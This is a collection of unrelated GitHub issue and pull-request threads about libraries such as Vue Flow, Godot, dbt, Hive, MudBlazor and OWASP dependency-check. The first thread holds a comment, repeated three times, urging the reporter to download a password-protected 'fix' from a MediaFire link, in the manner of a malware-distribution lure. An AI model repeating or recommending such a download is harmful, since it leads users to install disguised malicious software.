🐛 [BUG]: windows not defined

Is there an existing issue for this?

[X] I have searched the existing issues and this is a new bug.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

feels quite fishy what's this how will this solve my issue ??

feels quite fishy what's this how will this solve my issue ??

thanks for the response the issue solved but a new problem when we use some 400+ topics in a mindmap it renders slowly is there any way we can make it fast ??

Yeah just get a faster computer.
But seriously, what sort of question is this? You have not provided any code, any reproduction, literally nothing and you're asking me "app slow, how make faster?" as if I can magically conjure up some solution for you.
Please take the time to properly formulate questions, provide context, reproductions etc. if you want me to help you otherwise I can't do anything for you.

okay , btw i was not sure it was designed to handle a lot of topics internally by itself i was thinking you may suggest some libraries or something also how can i show the code for something that slowly renders which works normally when we use less number of topics and not moving smoothly when we feed some larger amount of topis in a mind map
also for the horizontal view i tried so many ways but the topic node it not using the left and the right side for the targetPosition and the sourcePosition.
this is the code im using (nuxt 3) :
please help me if you are free

This isn't a full repro nor does this code show anything meaningful.
I have no idea what your app looks like, if you're just using a billion watchers that slow down your app or not.

Why would it? you've never assigned it any source or target positions. Your custom node doesn't even have a <Handle> at all, which will break your app either way because edges need a `!
Please read through the docs and the examples properly first.
As for performance - can't say what's wrong because your code snippet doesn't quite reveal if you're doing some excessive recomputing on the arrays or not and since you keep using built-in Array functions, which are a lot slower than for for of loops, it might be you're just slowing yourself down with it but it's impossible for me to tell.
If you want me to help you debug this properly, take the time and create a proper reproduction.
You can find a sandbox template for it here.

thanks i fixed it , i want to use the fit view  as function i have added a different layout  as a button
when i click the button it will change the layout but the view port it at the different place to make it see the whole view i need that fit view button functionality , i even saw the controls.vue file but i still can understand it is there a a function we can use ??


Bailout early from isFunctionObjectType for evolving arrays

fixes https://github.com/microsoft/TypeScript/issues/44659

@typescript-bot test it


New version: GLPK v0.12.0

Registering package: GLPK
Repository: https://github.com/JuliaOpt/GLPK.jl
Created by: @odow
Version: v0.12.0
Commit: 572a5348614621adc684437470bafa89ee082118
Reviewed by: @odow
Reference: https://github.com/JuliaOpt/GLPK.jl/commit/572a5348614621adc684437470bafa89ee082118#commitcomment-35569088

Your new version pull request met all of the guidelines for automatic merging.
I will automatically merge this pull request during the next cron job.
If you want to prevent this pull request from being auto-merged, simply leave a comment.
(If you want to post a comment without blocking auto-merging, you must include the text [noblock] in your comment.)

On a separate note, I see that you are registering a release with a version number of the form v0.X.Y.
Does your package have a stable public API? If so, then it's time for you to register version v1.0.0 of your package. (This is not a requirement. It's just a recommendation.)
If your package does not yet have a stable public API, then of course you are not yet ready to release version v1.0.0.

[noblock]


refactor report page -- fewer columns and smarter sorting

for now category filter and genus filter are disabled,
and the links to reads are not being generated (but
should be very easy to add)

I couldn't load the page when checking out your branch. see slack channel for more details.


Rename cupyx.runtime submodule

Rel #3420.
This PR renames cupyx.runtime submodule to cupyx._runtime to indicate that it is CuPy's private submodule and not intended to be used by users.

rebase please

Jenkins, test this please

Jenkins CI test (for commit 6883e2f8ed524e92f0394d8b5e793956d7a79b6d, target branch master) succeeded!


ste by step

where is the old step by step documentation  gone. this was very usefull

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: baa9e2e6-b901-9e27-d070-701922396a4c
Version Independent ID: c29a68b2-886d-2cec-0ce7-c49c586d7ea8
Content: Create a bot with Bot Service - Bot Service
Content Source: articles/bot-service-quickstart.md
Service: bot-service
Product: bot-framework
GitHub Login: @v-ducvo
Microsoft Alias: v-ducvo

If you're looking for the old documentation, try here for v3 docs. Otherwise, we feel our V4 documentation builds up in complexity. Is there something you're not seeing that you would like to see? If you're struggling to follow an article, I'd love to know which ones and what we can do to improve it.

The old docs that covered creating SDK v3 .NET or Node.js bots was removed after SDK v4 was released. The only quickstart we have for SDK v3 is using the Azure portal.


MAINT: special: add a .pxd file for Cephes functions

Single failure on Travis is due to a timeout, so I think the changes are fine.

LGTM, merged. Thanks @person142


Fix SQLite CLI template

Commit b0f6dc5 removed the :name accessor. This fixes the CLI template to reflect this.

Thanks @occidens ! Clearly we missed this.
I won't release a new version right away since it's a minor fix.


Tilemap ysort not working correctly for isometric tiles on y-axis (x=0)

Godot version
4.0.alpha2
System information
Windows 10
Issue description
YSort does not work correctly for isometric tiles on 2D tilemap.
Steps to reproduce

Create a tilemap with isometric tileset
Place 1st tile on y axis
Place 2nd tile to the bottom right of 1st

Minimal reproduction project
No response

@MisterMX Please upload a minimal reproduction project to make this easier to troubleshoot.

The issue appears also in 4.0.alpha3. Any updates on that?

Same here on v4.0.alpha3.official [256069eaf]

(YSort origin value don't do anything)
Even changing ZIndex does not resolve the problem

Still present in alpha 4

Still present in v4.0.alpha5.official [d7d528c15]

@Maxouwell there's no need to up this issue at every alpha release. If the issue is still open, it means that, yes, the issue is still present.

This issue may have something to do with the cell quadrant size. If I set up a hex grid and then change the quadrant size I can alter the incorrect overlap pattern.

This is working as intended on master, with the instructions I stated above:
https://user-images.githubusercontent.com/6093119/213222280-6f5dfd5b-5a5b-4dfa-bbac-afb7b82e9f41.mp4
You now also have a configuration warning to tell what is wrong.
Closing as solved.

Have you both:

set y_sort_enabled to true on the TileMap node?
enabled Y-sorting on the TileMap layer you are drawing your tiles on?

If yes, then we'll need a MRP as Calinou asked.

This fixes the issue for me.


samples: Add fixtures for samples interacting with keyboard and mouse

Two samples require interacting with keyboard and mouse, and that
means necessary to provide correct fixture before run of that samples
in sanitycheck system. To skip or run the sample according to the
provided fixture in map-file necessary to add fixture definitions
into sample.yaml files
Signed-off-by: Maksim Masalski<EMAIL_ADDRESS>

Seems reasonable.
At a meta level for post-release (@nashif) do we really need the fixture_ prefix on the fixture tags? It should be obvious from context. There's only one in-tree fixture that doesn't have it.

That fixture prefix I can delete, just took the same style from the fixtures which I found in the code. We don't have any standard for now about it. @nashif

That PR should fix #28146 #28149


chore(main): release 1.1.1

:robot: I have created a release beep boop
1.1.1 (2024-01-05)
Bug Fixes

set Authorization header (#21) (5670340)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/cedricziel/mattermost-php/releases/tag/v1.1.1 :sunflower:


subtest ignores test creation opts

Specifying the opts for a subtest doesn't seem to do anything (e.g. to skip a test or mark it as a todo). Using the equivalent exported functions seems to work though.
Here's a minimal repro:
import { test, skip, todo } from 'brittle'

test('outer', async (t) => {
  // This unexpectedly runs 👎
  t.test('subtest (skip opt)', { skip: true }, async (t) => {
    t.fail()
  })

  // This unexpectedly runs 👎
  t.test('subtest (todo opt)', { todo: true }, async (t) => {
    t.fail()
  })

  // Using the exported functions has the expected behavior though...

  // This doesn't run 👍
  skip('subtest skip', async (t) => {
    t.fail()
  })

  // This doesn't run 👍
  todo('subtest todo', async (t) => {
    t.fail()
  })
})

Environment info:

Node 18
Brittle v3.3.2

just realized that using the exported skip and todo as a subtest actually messes up the output (gets treated as it's own outer test), so probably not best practice to use that approach


Dependency issues

Hey,
my project depends on qr ^3.0.0 and qr_flutter >=4.0.0 depends on qr ^2.0.0.
Is it possible to upgrade your dependencies?
Thx,
Volker

I can't use qr_flutter with qr:3.0.0 since both project exports QrImage and the class is miss matched everyware making the project failed to compile

remove re-export of lib qr from qr.flutter

I've ran into this same issue with trying to print the QR code using printing.
Seems there is a PR made to resolve this issue. Please merge.


New slot syntax doesn't work the same way as old syntax (in some cases)

Version
2.6.14
Reproduction link
https://github.com/hivokas/vue-2-slots-issue
Steps to reproduce

Clone the repo
Run npm run serve
Change the value in the text input

What is expected?
Preview updates with both old and new slot syntax (here: https://github.com/hivokas/vue-2-slots-issue/blob/cd7f3a6db790472b88421a1497ae14d4135d23ef/src/components/PublishToSocialStep.vue#L4).
What is actually happening?
Preview updates with old slot syntax, but doesn't update with new slot syntax.
Video demonstration of the problem:
https://user-images.githubusercontent.com/22997803/130232152-bd5e445d-600e-4816-b140-685d1fd6c3a8.mp4

I've updated the old deprecated slot syntax to the new one.

Hey, thanks for the detailed report. On first sight this might rather be a bug with a special combination of slot usage. We'll investigate.

JSFiddle Online Reproduction link: https://jsfiddle.net/juniortour/whs4L2vt/

Hey, thanks for the detailed report. On first sight this might rather be a bug with a special combination of slot usage. We'll investigate.

As I investigated, the problem is inside src/compiler/parser/index.js inside processSlotContent method, I did not have enough time to fix it, but rawAttrsMap is doing wrong behaviour. I am new in Vue, so I just looked at it for 1 hour and it was my first time, can you guid me about this variable?

We ran into this recently.
We are using different names and it still doesn't work with the # syntax.


No Windows support for CLI client

See https://trello.com/c/QcF8KQZf/63-update-omero-downloads-page-cli-docs-re-no-windows-server-support
Staged at https://www.openmicroscopy.org/site/support/omero5.3-staging/users/cli/index.html and https://www.openmicroscopy.org/site/support/omero5.3-staging/users/cli/installation.html

One minor comment. Builds and reads fine otherwise. As the comment concerns a line which was not  changed in this PR, possibly merge and open a follow-up PR ? Up to @hflynn

Right, sorry, thanks @hflynn  https://github.com/openmicroscopy/ome-documentation/pull/1645#discussion_r104717651, my bad.
Ready to merge then.


[Doc] update getting started guide for emr 6.8.0 release[skip ci]

Signed-off-by: liyuan<EMAIL_ADDRESS>udpate getting started guide for emr 6.8.0 release

verified

build

build

build


Setparameters.xml file

Very useful tool. It works like a charm with my onPremise TFS.
Can you please provide a template or an expample fro setparameters.xml file or a url describing what and how we can use this file?
Thanks in advance

Refer https://msdn.microsoft.com/en-us/library/dd465323(v=vs.110).aspx. If you need any further assistance you can mail to RM_Customer_Queries at Microsoft dot com


fix issues in acknowledge endpoints, add UT coverage for all endpoints

Description

fixes several issues with acknowledge endpoints (some of them stem from us attempting to copy the RHEL Advisor API, some don't), more info in respective JIRA issues
I checked with Advisor folks that nothing will break by changing the error responses (they're not checked)
adds unit test coverage for all acknowledge endpoints. Coverage is quite high (83% and 85% for handlers and utils, previously was 4% and 23% respectively)
I created a few tasks for the issue fixing as I spent some time figuring out the issues and the reasoning behind them

JIRA:
1, 2, 3, 4, UTs
Type of change
Please delete options that are not relevant.

Bug fix (non-breaking change which fixes an issue)
Unit tests (no changes in the code)
REST API tests

Testing steps
n/a
Checklist

[x] make before_commit passes
[x] updated documentation wherever necessary
[x] added or modified tests if necessary
[x] updated schemas and validators in insights-data-schemas in case of input/output change

Codecov Report
Patch coverage: 92.30% and project coverage change: +6.70 :tada:

Comparison is base (ece6f96) 60.79% compared to head (acfb3fb) 67.49%.

Additional details and impacted files
@@            Coverage Diff             @@
##           master    #1015      +/-   ##
==========================================
+ Coverage   60.79%   67.49%   +6.70%
==========================================
  Files          24       24
  Lines        3290     3301      +11
==========================================
+ Hits         2000     2228     +228
+ Misses       1062      830     -232
- Partials      228      243      +15

Impacted Files
Coverage Δ

server/acks_utils.go
81.13% <50.00%> (+57.71%)
:arrow_up:

server/acks_handlers.go
79.65% <95.83%> (+74.71%)
:arrow_up:

server/router_utils.go
82.66% <0.00%> (+9.33%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Why does the documentation say it is not ready for production?

Why isn't Hive ready for production?
I've been testing Hive for months, and I'm tempted to get Hive up and running on an app with 2 million users.
I needed a Lightweight dart library (my bridge with native code is already too overloaded, so it had to be 100% dart) that would allow simple storage of user settings (night mode, notification settings, and so on). your username and avatar downloaded from the API), and Hive has outperformed me on numerous issues over Seembast that they claim is in production. The main thing that makes Hive a killer of anything that stores data is being able to use it synchronously. Man, you made me delete 600 lines of code in futurebuilders, I almost didn't believe it when I found Hive.
Thanks for keeping up the good work in this library!
And I hope to know the risks I am taking, as I am about to use it even for storing self-destructive messages from a chat application (the key would be the username of the conversation, the value a map, which is self destructive , would be passed to a message list, displayed on screen, and deleted from Hive) this other app has 700,000 users.

It is ready as of today. Maybe I forgot to remove a notice from the documentation. Where does it say it isn't ready?
I'm really happy to hear that you like the library. If you have any suggestions, I'm always grateful.
It would be cool if you could send me a link when your app is ready. I'd love to see it ;)

Please reopen if you need more information.


Refactor v2 manifest

Hi Pivotal fellows,
As I was doing some tests with this release, I happened to refactor the manifest, dispatching the properties to jobs, in the BOSH-v2 style. I share it with you because such work is quite pain, and so this might be a nice time-saver for you!
Suggested changes are:

Dispatch global properties to jobs, keeping same settings. Now it's clearer which job uses which configuration property.
Remove the director_uuid property, because it's no more necessary with BOSH v2.
Add a variable declaration for broker_password  with type password because the most common use-case is to have such password generated by CLI v2 or CredHub.

Best

Hi @bgandon, thanks for the PR. We're taking a look at it now and may push changes to your PR branch if that's ok with you (it looks like we may need to add more properties to some of the errands).

Hi @edwardecook,
I saw that you reverted this back last week, due to an issue with your system tests.
Is it due to some ops file of yours, that had to be updated?
How could we manage to have this patch back into master?
Best,
Benjamin

Hi @bgandon,
The issue we had is that all of the ruby system tests (https://github.com/pivotal-cf/cf-redis-release/tree/master/spec) use https://github.com/pivotal-cf-experimental/prof and https://github.com/pivotal-cf-experimental/hula which rely on the relatively outdated manifest structure that we currently have. As such getting the patch back in would require a relatively major refactoring of our system tests to not use those libraries (which is something we would like to do long term but is not necessarily a priority).
Sorry for the confusion. Best,
Ed

Ok, I understand. Then would it be possible to provide the refactored v2 manifest along with the current manifest anyway?
You would still use the v1 manifest for your tests, and would just have to update both the same way, which is not a heavy burden. Do you think that would be a problem for you?

Hi @bgandon we could consider adding the v2 manifest separately but we can't promise that the v2 version will always manage to stay up to date with the v1 manifest as we will have no test coverage of it. Would that be acceptable?


Add deployment / installation instructions

Most importantly, state that there is a default admin user with a default admin password which MUST BE CHANGED before going live.

The footer and imprint also need to be changed. Also see Deployment & Config.


Add bearing widget

similar to ODK Collect, or better

[ ] create an XLSForm with this widget
[ ] test in ODK Collect to see functionality (easiest may be upload XLSForm to KoBoToolbox or Ona.io)
[ ] implement in Enketo
[ ] test in Grid and Non-grid theme

https://mobiforge.com/design-development/html5-mobile-web-device-orientation-events

https://codepen.io/MartijnR/pen/wvvpzwB

Not sure if feasible. The goal would be to only show a bearing if we know it work on that device and browser.
Here is the only app I found so far that somewhat works: https://lamplightdev.github.io/compass/, but it actually has a big deviation between iOS and Chrome (could be magnetic vs true), and Chrome/android is 180 degrees flipped.

I have given up as I think this is not possible to do at this moment due to absence of access to absolute bearings in Chrome on Android (haven't looked much at other platforms because this platform is the key) in Oct 2019.


Variable of array type is appended not overridden

Issue
Issue description
If a variable has array type and defined both in dbt_project.yml and in the model file itself then the rendered value is a concatenation of two arrays.
Results
I have this in my dbt_project.yml:
models:
    analytics:
        delivery:
            materialized: incremental
            vars:
                cluster_by: ["qt"]

then in the model config section I set this:
{{
  config({
    "vars": {
      "cluster_by": ["dt", "event"],
    },
    "post-hook": "{{ bootstrap() }}"
  })
}}

In the bootstrap macro invoked from post-hook in the model I get this interpolation of variable cluster_by:
{{- log("setting clustering of '%s' by '%s'"|
        format(this.name, var('cluster_by') | join(', ')), True) -}}

Result:
setting clustering of 'report' by 'dt, event, qt'

So variables appended, not overridden.
Slack message: https://getdbt.slack.com/archives/C2JRRQDTL/p1548798802509200
System information
The output of dbt --version:
installed version: 0.12.2
   latest version: 0.12.2

Up to date!

The operating system you're running on:
macOS Mojave
The python version you're using (probably the output of python --version):
Python 3.6.4

Steps to reproduce
See Results section.

variables are defined at the root-level of the dbt_project.yml file in dbt v0.17.0. As a result, variables no longer participate in folder-based hierarchical configuration, so this won't be an issue going forwards. Closing this!


Posting Tweet a thanks broken for single sign on twitter account

Describe the Issue
I came across this bug while reading couple of articles and wanted to post a tweet.
When window opens with single sign on. The encoded redirect uri of the tweet content results in 400 with
{"errors":[{"code":369,"message":"Invalid JSON syntax."}]} from X/twitter
Affected Page
https://www.freecodecamp.org/news/mycodeschool-youtube-channel-history/
Steps to Reproduce

Go to the mentioned link and click on Tweet a thanks button.
Window will pop up
Click on sign in with google or any single sign on. (Make sure you have not logged in to X/twitter)
The window should have error code as it fails to process.
tweet button

Error from X/twitter

Encoded URI

Recommended fix or suggestions
I gave a look into this issue, found following things:

If the tweet a thanks 's content doesnt contain much encoded text then you may not get error
Twitter redirection before login takes you to dashboard but fails to open pop up with content

Screenshots
No response

I believe this is a twitter issue, not a freecodecamp issue

Clicking on send a tweet works for me and doesn't have any issues.

Maybe you aren't logged in?

@thatkid02   You should be logged in before you click on Tweet a thanks button. After you are logged and click tweet a thanks no issue will arise

The issue extends beyond the specific article you mentioned, it appears to be affecting all articles.
This indicates a problem arising from Twitter's end.
Here's an attached screenshot.

Thanks for reporting this @thatkid02 - I tried the steps, and I can reproduce this with SSO accounts like Google, but the username/password (even with 2FA) logins seems to be okay.
While we see this is inconvenient, there is nothing we can do about this because the bug seems to be on X side. Chances are their URI encoding is broken.
Going ahead and closing this, but please feel free to reach out to X support if you need further help.

changing url from twitter.com to x.com solved it for me.


Run integration tests on both mainnet and goerli

This PR will enable github workflow to run all existing integration tests by spinning up two hardhat nodes, one for mainnet and another one for goerli.
With this new setup, in order to test against goerli, please follow these steps:

Add ALCHEMY_URL_GOERLI to .env
Initiate a goerli node by running yarn run node:goerli.
Make sure the integration test is using this ALCHEMY_URL_GOERLI as its jsonRpcUrl
Make sure your local rpc url is pointing to port 8000

Ps: I'm not sure how to test the changes I made to balancer.yaml file - I'll do some research, but for now please mind that this is not tested.

This should be useful, thanks! Could you also add the instructions to the README as we have some mention of the node/.env there. Thanks!

I'm not sure why test check is failing.
I tried a few different options that worked locally, but I think I'm probably missing something on .yaml file to make the github workflow work as expected.


Auto generate mappings

The central sites need to be filled in obviously. I don't know which sites take part in this opal business.
Just replace $SITE_ID with the site id of the site for all the sites.

According to @Threated ,  @lablans is satisfied with the changes and comments. Therefore, I proceed to merge it.


Clean Up Failed Workload Cluster Creation

As a user, I would like a command or document kubectl example of how to clean up all the cluster resources for a workload cluster in a management cluster.
For instance, if my workload cluster creation times out and fails part way through the creation process, I would like to be able to copy/paste a command from the EKS Anywhere documentation that will clean up all leftover resources in my management cluster for the failed workload cluster.
This would allow me to easily attempt to retry creating the workload cluster.

This might contain some information on how to clean up https://repost.aws/knowledge-center/eks-clean-up-resources-failed-cluster, we have a pending task to move these troubleshooting blogs that @chrisnegus is tracking https://github.com/aws/eks-anywhere/issues/5866

I created PR #5866 to address this issue. I'll close this issue when that PR merges.


May need to re-add prettier for non-js files

however this only applies to js files 😅
So potentially you want it for other files
Originally posted by @jetersen in https://github.com/timja/github-comment-ops/pull/55#discussion_r928694204

instead of pre-commit, you could use lint-staged.
Which allows for multiple tools to run, see my use case here:
I use husky to trigger lint-staged

instead of pre-commit, you could use lint-staged. Which solves the same problem for linters, see my use case here:
I use husky to trigger lint-staged

I used that previously but I also wanted helm-docs ran as part of the lint.
If lint-staged can be made to work with that as well then that's fine.
https://github.com/timja/github-comment-ops/blob/main/.pre-commit-config.yaml#L2-L5

Fixed in https://github.com/timja/github-comment-ops/pull/60


In dependency-check-maven 8.0.0, suppressionFile stopped working, the ignored CVEs are failing again

Describe the bug
After switching from 7.4.4 to 8.0.0, my current suppressionFile stopped working, and the notorious CVE-2016-1000027 starts to fail again on org.springframework:spring-web (spring-web-5.3.24.jar).
Maven plugin configuration looks like this:
            <plugin>
                <groupId>org.owasp</groupId>
                <artifactId>dependency-check-maven</artifactId>
                <version>${dependency-check-maven.version}</version>
                <configuration>
                    <suppressionFile>${project.build.outputDirectory}/dependency-check-suppress.xml</suppressionFile>
                    <failBuildOnCVSS>8</failBuildOnCVSS>
                    <formats>
                        <format>junit</format>
                    </formats>
                    <prettyPrint>true</prettyPrint>
                    <nodeAuditSkipDevDependencies>true</nodeAuditSkipDevDependencies>
                    <nodePackageSkipDevDependencies>true</nodePackageSkipDevDependencies>
                    <assemblyAnalyzerEnabled>false</assemblyAnalyzerEnabled>
                    <yarnAuditAnalyzerEnabled>false</yarnAuditAnalyzerEnabled>

                    <!--
                        Links to servers.server.id in Maven's settings.xml.
                        See https://github.com/jeremylong/DependencyCheck/issues/4535#issuecomment-1137096786
                    -->
                    <ossIndexServerId>owasp-oss-index</ossIndexServerId>

                    <!-- Fix of https://github.com/jeremylong/DependencyCheck/issues/4695 -->
                    <retireJsUrl>
                        https://raw.githubusercontent.com/RetireJS/retire.js/33b4076ce87f3898b81af4fc1770a7b65aa54bcb/repository/jsrepository.json
                    </retireJsUrl>
                </configuration>
            </plugin>

The suppression file looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<!--
    An advice from https://github.com/spring-projects/spring-framework/issues/24434#issuecomment-1132621725
-->

<!--
Documentation: https://jeremylong.github.io/DependencyCheck/general/suppression.html
-->
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
    <suppress>
        <notes><![CDATA[Ignored since we are not vulnerable]]></notes>
        <packageUrl regex="true">^pkg:maven/org\.springframework/spring.*$</packageUrl>
        <cve>CVE-2016-1000027</cve>
    </suppress>

    <!-- Known FP, see https://github.com/jeremylong/DependencyCheck/issues/4671 -->
    <suppress>
        <notes><![CDATA[Ignored since it is a known false-positive]]></notes>
        <packageUrl regex="true">^pkg:maven/jakarta.*$</packageUrl>
        <cve>CVE-2022-31569</cve>
    </suppress>

    <!-- todo: remove this when swagger/rhino fixes this CWE -->
    <!--
        Ignore this failure that appeared with Sonartype update at 25.05.2022:
        - rhino-<IP_ADDRESS>.jar: [sonatype-2018-0590] CWE-611: Improper Restriction of XML External Entity Reference ('XXE')(8.8)
    -->
    <suppress>
        <notes><![CDATA[TODO: uncomment when swagger/rhino fixes it]]></notes>
        <packageUrl regex="true">^pkg:maven/org\.mozilla/rhino.*$</packageUrl>
        <cwe>611</cwe>
    </suppress>

    <!-- Won't fix, see https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in -->
    <suppress>
        <notes><![CDATA[Ignored since it's marked as "won't fix" by the library authors.]]></notes>
        <packageUrl regex="true">^pkg:maven/org\.yaml/snakeyaml.*$</packageUrl>
        <cve>CVE-2022-1471</cve>
    </suppress>

    <!--
        +- io.swagger.parser.v3:swagger-parser:jar:2.1.9:compile
                |  |  |  \- com.github.java-json-tools:json-patch:jar:1.13:compile

        json-patch itself won't patch, swagger-parser has to migrate to another library,
        see https://github.com/swagger-api/swagger-parser/issues/1867
     -->
    <suppress>
        <notes><![CDATA[Ignored until swagger-parser switches to another JSON Patch library]]></notes>
        <packageUrl regex="true">^pkg:maven/com\.github\.java-json-tools/json-patch.*$</packageUrl>
        <cve>CVE-2021-4279</cve>
    </suppress>

</suppressions>

Version of dependency-check used
8.0.0
Expected behavior
The suppression file should work as earlier.
Or provide clear documentation of what has been changed in the suppressinn file format, and how should it be fixed?

Sorry, it's actually failing on Trivy container scanning, not the dependency-check-maven plugin. Closing this issue.


chore: bump driver version from 545 to 550

Adding a request for changes simply to block merge until we have upstream akmods building cleanly with this.
Also a note: rpmfusion usually removes the previous "current" very quickly after publishing the new one. So in reality, we'll probably need to replace 545 with 550, rather than only add 550.

This makes sense. I wouldn't merge something that doesn't build. I'll update it to swap 545 -> 550 when it's published.

I wouldn't merge something that doesn't build.

I didn't mean to imply you would, but crazier things have happened in this project. :-)


csp_io: remove unused variable

This commit removes the unused variable
'csp_promisc_queue' from 'csp_io.c'.
The use of the 'extern' keyword suggests
the variable is declared somewhere as global,
but its not. The only variable with such name
is located in 'csp_promisc.c' and it is 'static'.

Thanks!
It seems that when we moved the promiscuous routine to its own file, csp_promisc.c, the signature of csp_promisc_add() was changed to remove the second argument, csp_promisc_queue. The commit moved to using the new csp_promisc_add() by introducing csp_promisc.h but forgot to remove the variable.
ref)
https://github.com/libcsp/libcsp/commit/30cbebd5e9b75dad121b045e4d0123e928b1e0c2#diff-ad1b800b866f3e27dd116e67f387ea0185349d5760dd8758cced890516b8ccc5
@dimitrovand would you mind updating the commit log?


[mobile] Show 'Sold' instead of bid/auction closed for bought-now artwork

cc @joeyAghion @katarinabatina @damassi
This fixes an issue we found earlier today where an artwork at auction that has been purchased through Buy Now still shows the Bid button rather than 'Sold.'
I talked through design with Katarina and @briansw. This message now shows in the same place and with the same [updated] styling as the 'Auction Closed' message, but it takes precedence if the artwork is_sold. The bid button section will not render unless the auction is open and the artwork is not sold.

👍 looks okay to me! Thanks for the quick turnaround.


DotHacks private SRC

Grant Application Checklist

[x] The application-template.md has been copied, renamed ( "project_name.md") and updated.
[x] A BTC or Ethereum (DAI) address for the payment of the milestones is provided inside the application.
[x] The software of the project will be released under the Apache license version 2.0 as specified in the terms and conditions.
[x] The total funding amount of the project is below USD $30k for initial grant applications and $100k for follow-up grants.
[x] The initial PR contains only one commit (squash if needed before submitting your PR).
[x] The grant will only be announced once we've successfully delivered the first milestone.

@dothacklab @Noc2 Happy to jump on a call with the team to work on a proposal to be submitted for Council review - feel free to ping me on Element: @raul.rtti:matrix.parity.io

@dothacklab feel free to close this at any time or leave a comment if you still want to go ahead through open grants.

Thanks for the application. In general, I think we are interested in supporting this via grants. However, I have the feeling that (if possible) it would make more sense to get this funded via the treasury directly, since this will change the treasury pallet and I think the on-chain council should be aware of this. Did you already share this in the direction channel?
And a few additional comments/questions: Do you still plan to integrate additional changes to the application based on your comment above? Could you be more concrete with the deliverables and specifications in the table? These are basically the requirements of our contracts. For example currently it’s not clear that your work will be based on the Treasury pallet.

Thanks for the response and recognition of our ideas.
Since it will be necessary to merge the code of the SRC spending instrument onto the substrate repo, we are happy to do the application and submit relevant code directly through treasury for this part of work. We will be appreciated for the assistance from @rrtti about the specific procedure.
Regarding UI, formulation and implementation of standards and rules, or the other follow-ups, would it more appropriate to be applied in open grant? We are sincerely looking forward to the chance of collaboration between DotHacks and w3f and as well.
If the thoughts above are workable, we will update the application documents and include the ideas from the last discussion by next Monday.

@dothacklab feel free to close this at any time or leave a comment if you still want to go ahead through open grants.

@alxs Thanks for the reminder. At present for the SRC instrument part we decide to go through treasury directly. For UI, standards and rules, and the other follow-ups, open grant is preferred for us if it is possible to divide it into two applications. Otherwise we can apply a follow-up grant application when we finish the instrument part of work.

Thanks for the response. Indeed, I think it makes sense in this case to initially apply for treasury funding and potentially a follow-up web3 grant for the UI. Once the pallet is accepted by the council we definitely have an interest in supporting the development of an (or even multiple) UI(s). Therefore, I’m closing the application for now. Let me know if I should reopen it or feel free to send us another application for the UI.

Thanks for the response. Indeed, I think it makes sense in this case to initially apply for treasury funding and potentially a follow-up web3 grant for the UI. Once the pallet is accepted by the council we definitely have an interest in supporting the development of an (or even multiple) UI(s). Therefore, I’m closing the application for now. Let me know if I should reopen it or feel free to send us another application for the UI.

@Noc2 Thank you. No problem at all.


[Documentation] Calling just doesn't list possible commands

I followed this instruction from the documentation:

Typing just in the command line will show possible commands and descriptions.

The hope was to see the possible commands I could run... what you would expect from a --help argument. Instead, it seems to setup a new bazzite-arch container. This is the output:
[beefchimi@fedora beefchimi]$ just
source /etc/default/bazzite && echo 'Installing Bazzite Arch...' && if [[ ${BASE_IMAGE_NAME} == 'kinoite' ]]; then distrobox create --name bazzite-arch --image ghcr.io/ublue-os/bazzite-arch --nvidia --yes --volume /usr/lib/extest/libextest.so:/usr/lib/extest/libextest.so:ro --volume /usr/share/icons:/usr/share/icons:ro --volume /usr/share/themes:/usr/share/themes:ro; else distrobox create --name bazzite-arch --image ghcr.io/ublue-os/bazzite-arch-gnome --nvidia --yes --volume /usr/lib/extest/libextest.so:/usr/lib/extest/libextest.so:ro --volume /usr/share/icons:/usr/share/icons:ro --volume /usr/share/themes:/usr/share/themes:ro; fi && echo 'Exporting applications...' && distrobox-enter -n bazzite-arch -- 'bash -c "sudo locale-gen && distrobox-export --app steam && distrobox-export --app lutris && distrobox-export --app protontricks && mkdir -p $HOME/.steam && distrobox-export --bin /usr/bin/steamcmd --export-path ~/.steam && mv $HOME/.steam/steamcmd $HOME/.steam/steamcmd.sh"' && echo 'Starting Steam...' && distrobox-enter -n bazzite-arch -- '  /usr/bin/bazzite-steam-runtime --silent &>/dev/null &' && if [[ ${BASE_IMAGE_NAME} == 'kinoite' ]]; then echo 'Creating desktop shortcuts...' && cp ~/.local/share/applications/bazzite-arch-steam.desktop ~/Desktop/bazzite-arch-steam.desktop && sed -i 's@  (on bazzite-arch)@@g' ~/Desktop/bazzite-arch-steam.desktop && cp ~/.local/share/applications/bazzite-arch-net.lutris.Lutris.desktop ~/Desktop/bazzite-arch-net.lutris.Lutris.desktop && sed -i 's@  (on bazzite-arch)@@g' ~/Desktop/bazzite-arch-net.lutris.Lutris.desktop; fi && echo 'Finalizing...' && sleep 10 && rm -f ~/Desktop/steam.desktop
Installing Bazzite Arch...

yeah I agree, that really needs to be fixed. I was in the same exact situation that you were in.


MudTable cannot calculate width other than English.

Bug type
Component
Component name
MudTable
When the HeaderContent is in English, the width of the table can be correctly recognized, and the horizontal scroll bar will automatically appear at the bottom.

But when using other languages as the header, the scroll bar doesn't appear, and set HorizontalScrollbar="true" , doesn't take effect. All columns are tightly packed together.

Expected behavior
Why does this happen, and how do other languages make columns auto-fit to width?
Reproduction link
https://try.mudblazor.com/snippet/GaQcErFRmjziWsCv
Version (bug)
6.0.11
What browsers are you seeing the problem on?
Chrome, Microsoft Edge
On what operating system are you experiencing the issue?
Windows
please help.

This seems like something better reported on the mudblazor repository (https://github.com/MudBlazor)?
I don't think it's a bug though... the reason the columns in english are wider is because there are no spaces in the header names, so it can't "split" the names over multiple lines, which is what is happening in the case with other languages.
This is normal html table behaviour... I don't think mudblazor can do much about it...
Btw, I tried your reproduction link, and I even got the horizontal scroll bar:

